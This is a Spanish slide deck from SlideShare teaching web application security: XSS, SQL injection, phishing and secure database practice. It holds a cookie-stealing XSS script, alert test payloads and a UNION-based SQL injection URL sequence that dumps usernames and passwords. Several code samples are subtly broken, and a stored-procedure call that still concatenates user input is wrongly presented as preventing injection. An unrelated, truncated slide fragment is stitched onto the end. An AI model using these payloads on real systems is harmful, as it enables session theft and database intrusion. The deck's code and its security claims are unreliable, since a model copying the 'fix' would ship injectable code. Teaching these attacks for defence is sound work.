SlideShare una empresa de Scribd logo
1 de 79
SEGURIDAD
EN LAS APLICACIONES WEB.
SEGURIDAD
EN LAS APLICACIONES WEB.
La seguridad de las aplicaciones web es una
rama de la Seguridad Informática que se
encarga específicamente de la seguridad de
sitios web, aplicaciones web y servicios web.
Las aplicaciones, comúnmente son
desarrolladas usando lenguajes de
programación tales como PHP, JavaScript,
Python, Ruby, ASP.NET, JSP, entre otros.
SEGURIDAD
EN LAS APLICACIONES WEB.
En un alto nivel, la seguridad de aplicaciones
web se basa en los principios de la seguridad
de cualquier aplicación informática pero
aplicada específicamente a la World Wide
Web.
Debido al descuido en las buenas prácticas
de programación relacionadas con la
seguridad, muchos sistemas son vulnerables
a los ataques, incluyendo inyección SQL.
SEGURIDAD
EN LAS APLICACIONES WEB.
La base de datos y la aplicación deben estar
protegidas para evitar daños a causa de
estas instrucciones maliciosas. Es necesario
comprender cómo se estructuran estas
instrucciones. Un sistema de web puede leer
la entrada del usuario de varias maneras
diferentes, basado en el entorno que se ha
desarrollado la aplicación.
SEGURIDAD
EN LAS APLICACIONES WEB.
En la mayoría de los casos, el SQLIA (Ataque
de inyección SQL) viene en los envíos de
formularios que se envían al sistema web a
través de HTTP GET o POST. Los sistemas
web acceden a los datos de entrada del
usuario y logran acceder a cualquier otra
variable de entorno.
SEGURIDAD
EN LAS APLICACIONES WEB.
Al introducir los códigos por el formulario, el
atacante tiene acceso a la zona restringida
de la página como un administrador
(normalmente el usuario administrador –
administrator - es el primer usuario de la
tabla de usuarios de la base de datos del sitio
y tiene todos los permisos). Al acceder al
sistema como administrador, tiene acceso a
los datos confidenciales, por lo que puede
utilizar estos datos de la manera que desee.
SEGURIDAD
EN LAS APLICACIONES WEB.
Si el ataque es por URL el atacante utiliza
códigos maliciosos en la URL de acceso al
sistema para encontrar la información
contenida en la base de datos, por lo tanto, la
consecución de ambos descubren los datos
sensibles de los usuarios, así como tablas o
la destrucción de datos importantes.
AMENAZAS DE SEGURIDAD
Con la aparición de la Web 2.0, el
intercambio de información a través de redes
sociales y el crecimiento de los negocios en
la adopción de la Web como un medio para
hacer negocios y ofrecer servicios, los sitios
web son constantemente atacados.
AMENAZAS DE SEGURIDAD
La mayoría de los ataques a aplicaciones
web ocurren a través de:
 Cross-site scripting (XSS).
 Inyección SQL.
 Phishing.
Estos ataques logran su cometido debido a
una codificación deficiente y la falta de
desinfección de las entradas y salidas de la
aplicación web.
AMENAZAS DE SEGURIDAD
La mayoría de los ataques a aplicaciones
web ocurren a través de:
 Cross-site scripting (XSS).
 Inyección SQL.
 Phishing
Estos ataques logran su cometido debido a
una codificación deficiente y la falta de
desinfección de las entradas y salidas de la
aplicación web.
Tipo de vulnerabilidad informática o agujero
de seguridad, que permitir a una tercera
persona inyectar en páginas web visitadas
por el usuario código JavaScript o en otro
lenguaje similar como VBScript.
AMENAZAS DE SEGURIDAD
La mayoría de los ataques a aplicaciones
web ocurren a través de:
 Cross-site scripting (XSS).
 Inyección SQL.
 Phishing
Estos ataques logran su cometido debido a
una codificación deficiente y la falta de
desinfección de las entradas y salidas de la
aplicación web.
Existe en aplicaciones que presente
información en un navegador web u otro
contenedor de páginas web. Pueden ser sitios
web en línea o aplicaciones locales vulnerables
a XSS, incluso el mismo navegador.
AMENAZAS DE SEGURIDAD
La mayoría de los ataques a aplicaciones
web ocurren a través de:
 Cross-site scripting (XSS).
 Inyección SQL.
 Phishing
Estos ataques logran su cometido debido a
una codificación deficiente y la falta de
desinfección de las entradas y salidas de la
aplicación web.
Usualmente causada al no validar
correctamente los datos de entrada que son
usados en cierta aplicación, o no sanear la
salida adecuadamente para su presentación
como página web.
AMENAZAS DE SEGURIDAD
La mayoría de los ataques a aplicaciones
web ocurren a través de:
 Cross-site scripting (XSS).
 Inyección SQL.
 Phishing.
Estos ataques logran su cometido debido a
una codificación deficiente y la falta de
desinfección de las entradas y salidas de la
aplicación web.
 Directa (o Persistente): Consiste en
insertar código HTML peligroso en
sitios que lo permitan; incluyendo
etiquetas como <script> o <iframe>.
AMENAZAS DE SEGURIDAD
La mayoría de los ataques a aplicaciones
web ocurren a través de:
 Cross-site scripting (XSS).
 Inyección SQL.
 Phishing
Estos ataques logran su cometido debido a
una codificación deficiente y la falta de
desinfección de las entradas y salidas de la
aplicación web.
 Indirecta (o Reflejada): Modifica valores que la
aplicación usa para pasar variables entre dos
páginas, sin usar sesiones y sucede por un
mensaje o ruta en la URL del navegador, en
una cookie, o cualquier cabecera HTTP (a
veces navegadores y aplicaciones web,
podría extenderse al DOM del navegador).
AMENAZAS DE SEGURIDAD
Cross-site scripting (XSS).
Un framework no actualizado, permite a los
atacantes explotar las vulnerabilidades de la
aplicación.
Otro ejemplo es cuando los datos y los
componentes estándar necesarios para la
instalación de una aplicación, base de datos
o componente son instalados
automáticamente y no son eliminados.
AMENAZAS DE SEGURIDAD
Cross-site scripting (XSS).
Un atacante podrá descubrir las páginas de
administración en el servidor y autenticarse
utilizando el usuario y contraseña estándar
de la instalación y tomar el control sobre la
aplicación o servidor.
cuando un listado de directorios no fuera
desactivado. Un atacante, podrá listar los
directorios de la aplicación y encontrar otras
vulnerabilidades.
AMENAZAS DE SEGURIDAD
Cross-site scripting (XSS).
Si el módulo de PHP está configurado para
mostrar errores, entregaría información
valiosas al atacante como el servidor y el
usuario:
Warning mysql_connetc()[function.mysql-
connect]: Access denied for user
'usuari'@'192.168.0.82'
(using password: YES) in
/www/html/web/admin.php on line 70
AMENAZAS DE SEGURIDAD
Cross-site scripting (XSS).
Si la directiva register_globals es on
(habilitada) la variable $autoriza podría ser
manipulada fácilmente. Si modifica el valor
en off, el código funcionaria correctamente
(libre de la vulnerabilidad). Otra forma sería
inicializar la variable antes de su uso, en este
caso el código funcionaría sin importar el
estado de register_globals.
AMENAZAS DE SEGURIDAD
Cross-site scripting (XSS).
 Otro caso es copiar en el value de una
etiqueta <input>. Por ejemplo en los
buscadores en sitios web, al realizar una
búsqueda a través de ellos, lo habitual es
que el término introducido se copie dentro
del campo del buscador.
 Otras veces puede copiar código dentro de
los comentarios HTML, comúnmente en
páginas mal programadas que dejan
mensajes dentro del código fuente HTML:
";alert("¡Hola Mundo!");//
AMENAZAS DE SEGURIDAD
Cross-site scripting (XSS).
 Para determinar si un campo, ya sea un
parámetro desde la URL o un campo de
texto donde sea posible escribir, es
vulnerable a XSS introduzca una serie de
caracteres para comprobar si existe algún
filtro anti-XSS. Los caracteres a introducir
serían:
AMENAZAS DE SEGURIDAD
Cross-site scripting (XSS).
 Comilla simple (‘)
 Comilla doble (“)
 Símbolo de mayor que (>)
 Símbolo de menor que (<)
 Barra (/)
 Espacio ( )
AMENAZAS DE SEGURIDAD
Cross-site scripting (XSS).
Si puede introducir estos caracteres existe un
alto porcentaje de posibilidades de encontrar
algún fallo de XSS. Sin embargo no se puede
asegurar su existencia de forma totalmente
definitiva, siempre existe la posibilidad de
encontrar algún otro tipo de filtro que impida
introducir palabras clave como script, onload
o javascript.
AMENAZAS DE SEGURIDAD
<script>
d = "&to = eviluser&enviar = Enviar&mensaje =
Mi cookie es: "+document.cookie;
if(window.XMLHttpRequest)
{x=new XMLHttpRequest();}
else
{x=new ActiveXObject('Microsoft.XMLHTTP');}
x.open("POST","func/send.php",true);
x.setRequestHeader('Content-
Type','application/x-www-form-urlencoded');
x.setRequestHeader('Content-Length',d.length);
x.send(d);
</script>
AMENAZAS DE SEGURIDAD
Se declara una variable d que contiene los
valores &to, &enviar y &mensaje, que son las
variables que se envían en la aplicación cuando
manda un mensaje. Detalle importante a
observar es el contenido de la variable &mensaje,
document.cookie, un objeto del DOM de la
página que contiene todas las cookies asociadas
al dominio actual.
AMENAZAS DE SEGURIDAD
Se codifica un if...else, que asegura la creación
de un objeto de tipo XMLHttpRequest tanto en
navegadores Internet Explorer como Firefox o
similares. Este objeto es el usado para realizar
las peticiones AJAX.
Con open() se establece las condiciones que se a
utilizarán para enviar el formulario. Será enviado
por POST a la url func/send.php. Mediante true
se indica que la petición será realizada de
manera asíncrona, esto es, el navegador no se
quedará “congelado” mientras se envía el
mensaje.
AMENAZAS DE SEGURIDAD
El llamado a la función setRequestHeader() se
usan para establecer cabeceras HTTP que hagan
que el servidor web entienda que lo que se está
enviando es un formulario, aunque el usuario no
lo haya rellenado.
Se invoca send() pasándole como parámetro la
variable d. Con esto el navegador realiza las
acciones definidas anteriormente y, si todo ha
salido bien, el usuario afectado “enviará” su
cookie de sesión.
AMENAZAS DE SEGURIDAD
La mayoría de los ataques a aplicaciones
web ocurren a través de:
 Cross-site scripting (XSS).
 Inyección SQL.
 Phishing.
Estos ataques logran su cometido debido a
una codificación deficiente y la falta de
desinfección de las entradas y salidas de la
aplicación web.
Método de infiltración
de código intruso que
usa una vulnerabilidad
informática presente
en una aplicación en
el nivel de validación
de las entradas para
realizar operaciones
sobre una base de
datos.
AMENAZAS DE SEGURIDAD
La mayoría de los ataques a aplicaciones
web ocurren a través de:
 Cross-site scripting (XSS).
 Inyección SQL.
 Phishing.
Estos ataques logran su cometido debido a
una codificación deficiente y la falta de
desinfección de las entradas y salidas de la
aplicación web.
Su origen radica en la
incorrecta comprobación
o filtrado de las variables
usadas en un programa
que contiene, o bien
genera, código SQL.
AMENAZAS DE SEGURIDAD
La mayoría de los ataques a aplicaciones
web ocurren a través de:
 Cross-site scripting (XSS).
 Inyección SQL.
 Phishing.
Estos ataques logran su cometido debido a
una codificación deficiente y la falta de
desinfección de las entradas y salidas de la
aplicación web.
Ocurre cuando se
inserta o "inyecta"
código SQL invasor
dentro del código SQL
programado, para
alterar el funcionamiento
normal del programa y
lograr así que se ejecute
la porción de código
"invasor" incrustado, en
la base de datos.
AMENAZAS DE SEGURIDAD
La mayoría de los ataques a aplicaciones
web ocurren a través de:
 Cross-site scripting (XSS).
 Inyección SQL.
 Phishing.
Estos ataques logran su cometido debido a
una codificación deficiente y la falta de
desinfección de las entradas y salidas de la
aplicación web.
try
{$dbh = new PDO($dsn, $user,
$password);}
catch (PDOException $y)
{$log = $y->getMessage();
/* grabar el log */}
$login = $_POST['login'];
$contrasenia = $_POST['contrasenia'];
$sth = $dbh->prepare("SELECT * FROM
usuarios “ . "WHERE login = login AND
contrasenia = :contrasenia");
$sth->bindParam(':login', $login);
$sth->bindParam(':contasenia',
$contrasenia);
$sth->ejecute();
if( $sth->rowCount() )
echo "resultado: true";
else
echo "resultado: false";
AMENAZAS DE SEGURIDAD
La mayoría de los ataques a aplicaciones
web ocurren a través de:
 Cross-site scripting (XSS).
 Inyección SQL.
 Phishing.
Estos ataques logran su cometido debido a
una codificación deficiente y la falta de
desinfección de las entradas y salidas de la
aplicación web.
$login = $_POST['login'];
$contrasenia=$_POST[‘contrasenia’];
$query = array();
$query[] = "CALL testarLogin(@valor,
" $login."', " $contrasenia."')";
$query[] = "SELECT @valor";
$mysqli->query($query[0]);
$res = $mysqli->query($query[1]);
$valor = $res->fetch_object();
$nombre = "@valor";
if( $valor->$nombre )
echo "resultado: true";
else
echo "resultado: false";
$mysqli->close();
?>
AMENAZAS DE SEGURIDAD
 Inyección SQL.
Una aplicación cifra los datos de las tarjetas
de créditos en una base de datos para
prevenir que los mismos sean expuestos a
usuarios finales. Sin embargo, la base de
datos está configurada para descifrar
automáticamente consultas en las columnas
de tarjetas de crédito, permitiendo que un
fallo de inyección por SQL pueda listar todas
las tarjetas de crédito en claro.
AMENAZAS DE SEGURIDAD
 Inyección SQL.
El sistema debería haber sido configurado
para permitir que sólo las aplicaciones de
back-end pudieran descifrar esos datos y no
las aplicaciones web de front-end.
AMENAZAS DE SEGURIDAD
 Inyección SQL.
En una aplicación web PHP, la transferencia
por GET pasa parámetros vía url:
http://www.dominio.com/[nombre_pagina].
php?[nombre_variable]=[valor]
Después del “ ?” hay una variable con su
valor, que fue consultado en la base de
datos, está explícito en la URL, entonces,
podría retornar datos de la base de datos con
la agrupación de comandos SQL.
AMENAZAS DE SEGURIDAD
 Inyección SQL.
Consultar los detalles de un producto desde:
http://www.dominio.com/detalles.php?pro
ducto_id = 158
Éste probablemente tendrá un código PHP
que recibirá un valor en una variable:
$id = $_GET[“ id” ];
Ese valor sería pasado a otra variable que
contenga el código que será responsable de
la consulta SQL, como por ejemplo:
AMENAZAS DE SEGURIDAD
 Inyección SQL.
$query = mysql_query(?SELECT * FROM
producto WHERE producto_id = “ $id’” );
$query recibe la ejecución de la consulta en
el MYSQL, la cual selecciona todos los
registros de la tabla producto con producto_id
igual al valor de $id. Consulta que se ejecuta
explícitamente en el código, exponiendo la
vulnerabilidad del sistema y arriesgando la
base de datos.
AMENAZAS DE SEGURIDAD
 Inyección SQL.
http://www.dominio.com/detalles.php?product
o_id = 1’
Si se insertan ‘(comillas simples) al final de la
url y la página retornar un error diciendo: “
You have an error on your SQL syntax ;
check the manual that corresponds to your
MYSQL server version for the’”, significa que
es vulnerable.
AMENAZAS DE SEGURIDAD
 Inyección SQL.
Considerando la url anterior, se agrupará un
comando para la verificación de la cantidad
de columnas existentes en la tabla. Con
ORDER BY, es posible especificar cualquier
número de columnas
http://www.dominio.com/detalles.php?product
o_id = 1’ ORDER BY 1,2,3,4 (...).
AMENAZAS DE SEGURIDAD
 Inyección SQL.
Probando desde 1 hasta n, cuando en “ n”
sucede un error, se obtiene la información n-
1 que se refiere al número de columnas de la
tabla consultada, en el caso que el número
sea 5, si sucede el error, el valor
correspondiente al número de columnas que
pueden ser usadas por los demás comandos
será 4.
AMENAZAS DE SEGURIDAD
 Inyección SQL.
Con la función UNION los ataques son lo
suficientemente eficaces para retornar datos,
es posible entonces retornar el conjunto de
registros de la base de datos con:
http://www.dominio.com/detalles.php?pro
ducto_id =1 UNION ALL SELECT 1,2,3,4
AMENAZAS DE SEGURIDAD
 Inyección SQL.
Por ello, @@version es capaz de informar
sobre la versión del sistema gestor de bases
de datos, para así usar la sintaxis correcta:
http://www.dominio.com/detalles.php?pro
ducto_id =1 UNION ALL SELECT 1, 2, 3,
@@version
AMENAZAS DE SEGURIDAD
 Inyección SQL.
http://www.dominio.com/detalles.php?pro
ducto_id =1 UNION ALL SELECT 1, 2, 3,
column_name from
information_schema.columns—
Lo anterior devolverá el nombre de las
columnas y tablas del esquema principal de
la base de datos.
AMENAZAS DE SEGURIDAD
 Inyección SQL.
Si los privilegios de usuario no están
configurados correctamente, el atacante
conseguirá retornar los nombre de tablas y
columnas y así hacer la selección de los
datos que necesitará para proseguir con la
inyección SQL.
AMENAZAS DE SEGURIDAD
 Inyección SQL.
Para que finalmente sean retornados los
datos necesarios para acceder al sistema y
también modificar la base de datos, el
atacante hará una nueva secuencia de
comandos, donde podrá obtener los nombres
de usuarios, contraseñas y datos de otras
tablas que componen el esquema que está
siendo atacado.
AMENAZAS DE SEGURIDAD
 Inyección SQL.
Para retornar los datos de la tabla usuario,
como ejemplo, utilizan los códigos siguientes,
y si logran tener éxito, el atacante conseguirá
manipular el sistema y la base de datos, con
libre acceso y más intenciones.
 http://www.dominio.com/detalles.php?pr
oducto_id =1 UNION ALL SELECT 1, 2, 3,
column_name from
information_schema.column WHERE
table_name=’usuario’—
 http://www.dominio.com/detalles.php?pr
oducto_id =1 UNION ALL SELECT 1, 2, 3,
concat(username,0x 8b,password)from
admin/*
 http://www.dominio.com/detalles.php?pr
oducto_id=1/**/union/**/all/**/select/**/0x
76,concat_ws(0x
8b,username,password),44/*-
 http://www.dominio.com/detalles.php?pr
oducto_id =1 UNION ALL SELECT 1, 2, 3,
column_name from
information_schema.column WHERE
table_name=’usuario’—
 http://www.dominio.com/detalles.php?pr
oducto_id =1 UNION ALL SELECT 1, 2, 3,
concat(username,0x 8b,password)from
admin/*
 http://www.dominio.com/detalles.php?pr
oducto_id=1/**/union/**/all/**/select/**/0x
76,concat_ws(0x
8b,username,password),44/*-
AMENAZAS DE SEGURIDAD
La mayoría de los ataques a aplicaciones
web ocurren a través de:
 Cross-site scripting (XSS).
 Inyección SQL.
 Phishing.
Estos ataques logran su cometido debido a
una codificación deficiente y la falta de
desinfección de las entradas y salidas de la
aplicación web.
Conocido como suplantación
de identidad, es un modelo
de abuso informático que se
comete mediante el uso de
un tipo de ingeniería social,
caracterizado por intentar
adquirir información
confidencial de forma
fraudulenta.
AMENAZAS DE SEGURIDAD
Una página es vulnerable a XSS cuando
aquello que se le envía al servidor (un
comentario, un cambio en un perfil, una
búsqueda, etc.) se ve posteriormente
mostrado en la página de respuesta.
AMENAZAS DE SEGURIDAD
Esto es, cuando se escribe un comentario en
una página y puede leer posteriormente el
mensaje, modifica su perfil de usuario y el
resto de usuarios puede verlo o se realiza
una búsqueda y se muestra un mensaje: “No
se han encontrado resultados para <texto>”,
se está incluyendo dentro de la página el
mismo texto que nosotros hemos introducido.
AMENAZAS DE SEGURIDAD
Una vez detectada una zona de la aplicación
que al recibir texto procedente del usuario lo
muestra en la página, es el momento de
determinar si es posible utilizar esa zona
como punto de ataque de XSS.
Para ello es posible insertar un pequeño
código Javascript que muestra un mensaje
de alerta para descubrir rápidamente si se
está actuando en la línea correcta de ataque.
AMENAZAS DE SEGURIDAD
Determinados filtros Anti-XSS pueden
imposibilitar el uso de ciertos caracteres a la
hora de introducir el código Javascript. Por
ejemplo, las comillas dobles o los caracteres
de “mayor que” y “menor que” suelen estar
prohibidos.
AMENAZAS DE SEGURIDAD
Categorías para fallos de XSS:
 Permanentes: Su denominación se debe al
hecho de que queda almacenada en algún
lugar, habitualmente una base de datos
SQL, y se va a mostrar a cualquier usuario
que visite el sitio.
 No permanentes: se introduce como
<texto> el código Javascript. La diferencia
es que en esta ocasión los efectos de la
acción no son permanentes.
AMENAZAS DE SEGURIDAD
Un ataque de XSS puede tomar el control
sobre el navegador del usuario afectado y
realizar acciones en la aplicación web.
Si se ha logrado que un usuario
administrador ejecute un Javascript, las
posibilidades de actuación maliciosa son muy
superiores.
Sería posible borrar todas las noticias de una
página o generar una cuenta de
administrador con los datos encontrados.
AMENAZAS DE SEGURIDAD
Haciendo uso de las técnicas de phishing,
mediante Javascript, podría modificar el
comportamiento y la apariencia de una
página web.
Esto permite crear un formulario de login
falso o redirigir el submit de uno existente
hacia un dominio controlado por otro servidor.
AMENAZAS DE SEGURIDAD
Es posible realizar un ataque de
denegación de servicios distribuidos
(distributed dennial of services, DDoS).
Para ello se forzará mediante código
Javascript que los navegadores hagan uso
intensivo de recursos muy costosos en
ancho de banda o capacidad de
procesamiento de un servidor de forma
asíncrona.
AMENAZAS DE SEGURIDAD
Un gusano XSS es un código Javascript que se
propaga dentro un sitio web o entre páginas de
Internet aprovechando un fallo XSS en la
descripción personal de los usuarios de una
red social.
En esta situación un usuario malintencionado
podría crear código Javascript para copiar el
código del gusano al perfil del usuario que
visita otro perfil infectado y que adicionalmente
realizase algún tipo de modificación en los
perfiles afectados.
AMENAZAS DE SEGURIDAD
Las únicas limitaciones la constituye la
imposibilidad de ejecutar código fuera del
navegador, dado que el ambiente sobre el que
se ejecuta no permite el acceso a ficheros del
sistema, y a las propias funcionalidades que
ofrezca el sitio web objeto del posible ataque.
TECNOLOGÍA DE SEGURIDAD.
Mientras que la seguridad se basa
fundamentalmente en las personas y los
procesos, existen varias soluciones técnicas
a considerar cuando se diseña, construye y
prueban aplicaciones web seguras. A un alto
nivel incluyen:
TECNOLOGÍA DE SEGURIDAD.
Soluciones de alto nivel son:
 Black box.
 White box.
 Fuzzing.
 Escáner de seguridad de aplicaciones web
(escáner de vulnerabilidad.)
 Firewalls de aplicación web (WAF.)
 Cracking de contraseña.
TECNOLOGÍA DE SEGURIDAD.
Soluciones de alto nivel son:
 Black box.
 White box.
 Fuzzing.
 Escáner de seguridad de aplicaciones web
(escáner de vulnerabilidad.)
 Firewalls de aplicación web (WAF.)
 Cracking de contraseña.
Herramientas de pruebas:
 Escáneres de seguridad de
aplicaciones web.
 Escáneres de vulnerabilidad
 Software de prueba de
penetración.
TECNOLOGÍA DE SEGURIDAD.
Soluciones de alto nivel son:
 Black box.
 White box.
 Fuzzing.
 Escáner de seguridad de aplicaciones web
(escáner de vulnerabilidad.)
 Firewalls de aplicación web (WAF.)
 Cracking de contraseña.
Herramientas de pruebas:
 Analizadores estáticos
de código fuente.
TECNOLOGÍA DE SEGURIDAD.
Soluciones de alto nivel son:
 Black box.
 White box.
 Fuzzing.
 Escáner de seguridad de aplicaciones web
(escáner de vulnerabilidad.)
 Firewalls de aplicación web (WAF.)
 Cracking de contraseña.
Herramientas utilizadas
para pruebas de entrada.
TECNOLOGÍA DE SEGURIDAD.
Fuzzing es una técnica de pruebas de
software, a menudo automatizado o
semiautomatizado, que proporciona datos
inválidos, inesperados o aleatorios a las
entradas de un programa de ordenador.
Entonces se monitorean las excepciones
como caídas, aserciones de código erróneas,
o para encontrar potenciales filtraciones de
memoria.
DESARROLLO SEGURO.
El DBA es el responsable superior de
declarar las reglas dentro del SGBD. Este es
el responsable de conceder o eliminar
privilegios, crear o excluir usuarios, y atribuir
de un nivel de seguridad a los usuarios del
sistema, de acuerdo con la política de la
empresa.
DESARROLLO SEGURO.
El control de flujo de la información es un
mecanismo que previene que la información
fluyan por canales secretos y violen la
política de seguridad al alcanzar usuarios no
autorizados. Este regula la distribución o flujo
de información entre objetos accesibles.
DESARROLLO SEGURO.
Un flujo entre el objeto A y el objeto B sucede
cuando un programa lee valores de A y
escribe valores en B. Los controles de flujo
tienen la finalidad de verificar si las
informaciones contenidas en algunos objetos
no fluyen explícita o implícitamente hacia
objetos de menor protección.
De esa manera, un usuario no puede obtener
indirectamente en B aquello que este o esta
no pueda obtener directamente de A.
DESARROLLO SEGURO.
La codificación de datos es una medida de
control final, utilizada para proteger datos
sigilosos que se transmiten por medio de
algún tipo de red de comunicación. También
se puede usar para ofrecer protección
adicional para que partes confidenciales de
una base de datos no sean accedidas por
usuarios no autorizados.
DESARROLLO SEGURO.
Para eso, los datos están codificados a
través de algún algoritmo de codificación.
Así, un usuario no autorizado tendrá una
gran dificultad para descifrarlos, pero los
usuarios autorizados recibirán claves para
descifrar esos datos.
La criptografía permite disfrazar el mensaje
para que, aún con el desvío de la
transmisión, el mensaje no sea revelado.
DESARROLLO SEGURO.
Gestionar usuarios y al esquema de la base
de datos donde cada base de datos tiene una
lista de nombres de usuarios. Deben estar
implementados diferentes perfiles de usuario
para diferentes tareas en la base de datos,
con el enfoque que cada aplicación o usuario
tiene su necesidad de acceso. Puede
proteger los perfiles con contraseña, y
además usar cotas para restringir el espacio
en el disco que será utilizado por los usuarios
o aplicativos.
DESARROLLO SEGURO.
Método de acceso y seguridad multinivel,
donde el usuario no tiene un término medio.
Tiene o no privilegios. Normalmente usado
en BD que clasifican datos de usuarios,
donde es necesario un nivel más de
seguridad.
Se utiliza en sistemas gubernamentales,
militares o de inteligencia, así como
industriales y corporativas.
DESARROLLO SEGURO.
Acceso basado en roles, donde estos son
creados de acuerdo con los diferentes cargos
en una organización y los usuarios están
asociados a roles según sus
responsabilidades y cualificaciones.
Se pueden designar varios individuos a un
mismo rol. Los privilegios de seguridad
comunes a un rol se conceden a su nombre y
cualquier individuo designado para ese rol
automáticamente los tendrá. Los usuarios
pueden moverse fácilmente de un rol a otro.
DESARROLLO SEGURO.
Los usuarios pueden moverse fácilmente
entre roles. Los cambios en los entornos
computacionales, la instalación de sistemas y
eliminación de aplicaciones antiguas,
modifican sólo el conjunto de permisos
atribuidos a los diferentes roles, sin
afectarlos.
La separación de tareas es un requisito
importante. La exclusión mutua de roles es
un método que puede implementarse.
DESARROLLO SEGURO.
Control de acceso utilizando triggers para
crear mecanismos de seguridad más
complejos que pueden ser disparados cada
vez que se llama un evento o que pueden ser
disparados antes o después del comando
especificado con el objetivo de proveer
mayor rigor en el control de la seguridad.
Si el comando ejecutado por el usuario no es
validado por los Triggers, se activa un error
para impedir modificaciones indebidas.
DESARROLLO SEGURO.
SELECT * FROM Usuario WHERE
usu_usuario = '" $login."' AND
usu_contrasenia = '" $contrasenia."';
Cuando se utiliza la política de seguridad de
insertar todas las consultas en STORED
PROCEDURES, la ejecución se limitará al
objeto de la base de datos, es decir, no existe
una consulta directa a la base de datos por
parte del sistema.
DESARROLLO SEGURO.
El objeto STORED PROCEDURE crea un
filtro entre la consulta y la base de datos. En
la estructura del STORED PROCEDURE,
existe la consulta, pero la codificación de
esta no está explícita en el código del
sistema y, así, se realiza una llamada al
objeto pasando hacia este los valores de las
variables de entrada:
DESARROLLO SEGURO.
CALL
TCC_Usuario_SELECT('".$usuario."',"
$contrasenia."')
Usando este código, tanto los ataques vía
formularios de credenciales como también
vía URL quedarán prevenidos, protegiendo
así la base de datos y sus registros.
DESARROLLO SEGURO.
Con view es posible permitir acceso, conceder
privilegios, ocultar líneas y columnas de
información confidenciales o restringir en la
tabla original. Los privilegios y concesiones
están definidos en la vista y no afectan a la
tabla base, estando el acceso de los usuarios
delimitado por la vista, la cual se genera
creando un subconjunto de datos en la tabla
referenciada. La opción With Verification da
mayor seguridad porque no permite modificar la
tabla sin tener los privilegios dentro de la vista.
BIBLIOGRAFÍA.
Desarrollo seguro de
aplicaciones web.
Ariel Ayala Montes.
2014
AMENAZAS DE SEGURIDAD
Puede interesar que los elementos de
una lista estén ordenados: una vez
que finalizó la inscripción en un curso,
tener a los listados de los alumnos por
orden de llegada puede ser muy
incómodo, siempre será preferible
tenerlos ordenados por número para
realizar cualquier comprobación.
Se obtiene una referenc
<section> en el docum
contenido con un eleme
ahí, el usuario solo verá
la pantalla.
Se obtiene una ref
elemento <section> e
reemplaza su contenid
<p>. A partir de ahí, el
elemento <p> en la pan

Más contenido relacionado

La actualidad más candente

Actividad No. 1.11: SQL Injection con sqlmap en Kali Linux
Actividad No. 1.11: SQL Injection con sqlmap en Kali LinuxActividad No. 1.11: SQL Injection con sqlmap en Kali Linux
Actividad No. 1.11: SQL Injection con sqlmap en Kali LinuxFrancisco Medina
 
Servicios del servidor
Servicios del servidorServicios del servidor
Servicios del servidorJenny Ospina
 
Types of attacks in cyber security
Types of attacks in cyber securityTypes of attacks in cyber security
Types of attacks in cyber securityBansari Shah
 
4. listas de control de acceso
4. listas de control de acceso4. listas de control de acceso
4. listas de control de accesoEduardo Lange
 
Establece servicios-de-seguridad-creando-estrategias
Establece servicios-de-seguridad-creando-estrategiasEstablece servicios-de-seguridad-creando-estrategias
Establece servicios-de-seguridad-creando-estrategiasoscar Rojas Nuñez
 
MANUAL DE NETBEANS
MANUAL DE NETBEANSMANUAL DE NETBEANS
MANUAL DE NETBEANSAlfa Mercado
 
Amenazas y vulnerabilidades en la informática
Amenazas y vulnerabilidades en la informáticaAmenazas y vulnerabilidades en la informática
Amenazas y vulnerabilidades en la informáticaCarolina Cols
 
Diseños de planes de pruebas de software1
Diseños de planes de pruebas de software1Diseños de planes de pruebas de software1
Diseños de planes de pruebas de software1Vanessa Toral Yépez
 
Recursos humanos en un centro de datos
Recursos humanos en un centro de datosRecursos humanos en un centro de datos
Recursos humanos en un centro de datosPamela Bulnes
 
Network Security Nmap N Nessus
Network Security Nmap N NessusNetwork Security Nmap N Nessus
Network Security Nmap N NessusUtkarsh Verma
 
IIS Unidad1: Introducción a la Ingeniería de Software
IIS Unidad1: Introducción a la Ingeniería de SoftwareIIS Unidad1: Introducción a la Ingeniería de Software
IIS Unidad1: Introducción a la Ingeniería de SoftwareFranklin Parrales Bravo
 
Vorontsov, golovko ssrf attacks and sockets. smorgasbord of vulnerabilities
Vorontsov, golovko   ssrf attacks and sockets. smorgasbord of vulnerabilitiesVorontsov, golovko   ssrf attacks and sockets. smorgasbord of vulnerabilities
Vorontsov, golovko ssrf attacks and sockets. smorgasbord of vulnerabilitiesDefconRussia
 
Semana 3 gestion de la configuracion y control de cambios
Semana 3 gestion de la configuracion y control de cambiosSemana 3 gestion de la configuracion y control de cambios
Semana 3 gestion de la configuracion y control de cambiosGiovani Ramirez
 

La actualidad más candente (20)

Actividad No. 1.11: SQL Injection con sqlmap en Kali Linux
Actividad No. 1.11: SQL Injection con sqlmap en Kali LinuxActividad No. 1.11: SQL Injection con sqlmap en Kali Linux
Actividad No. 1.11: SQL Injection con sqlmap en Kali Linux
 
Application Security
Application SecurityApplication Security
Application Security
 
Servicios del servidor
Servicios del servidorServicios del servidor
Servicios del servidor
 
OOWS
OOWSOOWS
OOWS
 
Types of attacks in cyber security
Types of attacks in cyber securityTypes of attacks in cyber security
Types of attacks in cyber security
 
4. listas de control de acceso
4. listas de control de acceso4. listas de control de acceso
4. listas de control de acceso
 
Herramientas case
Herramientas caseHerramientas case
Herramientas case
 
Establece servicios-de-seguridad-creando-estrategias
Establece servicios-de-seguridad-creando-estrategiasEstablece servicios-de-seguridad-creando-estrategias
Establece servicios-de-seguridad-creando-estrategias
 
Hacking ético [Pentest]
Hacking ético [Pentest]Hacking ético [Pentest]
Hacking ético [Pentest]
 
MANUAL DE NETBEANS
MANUAL DE NETBEANSMANUAL DE NETBEANS
MANUAL DE NETBEANS
 
Amenazas y vulnerabilidades en la informática
Amenazas y vulnerabilidades en la informáticaAmenazas y vulnerabilidades en la informática
Amenazas y vulnerabilidades en la informática
 
Diseños de planes de pruebas de software1
Diseños de planes de pruebas de software1Diseños de planes de pruebas de software1
Diseños de planes de pruebas de software1
 
Recursos humanos en un centro de datos
Recursos humanos en un centro de datosRecursos humanos en un centro de datos
Recursos humanos en un centro de datos
 
Network Security Nmap N Nessus
Network Security Nmap N NessusNetwork Security Nmap N Nessus
Network Security Nmap N Nessus
 
Sqa ejemplo
Sqa ejemploSqa ejemplo
Sqa ejemplo
 
IIS Unidad1: Introducción a la Ingeniería de Software
IIS Unidad1: Introducción a la Ingeniería de SoftwareIIS Unidad1: Introducción a la Ingeniería de Software
IIS Unidad1: Introducción a la Ingeniería de Software
 
Rational rose
Rational roseRational rose
Rational rose
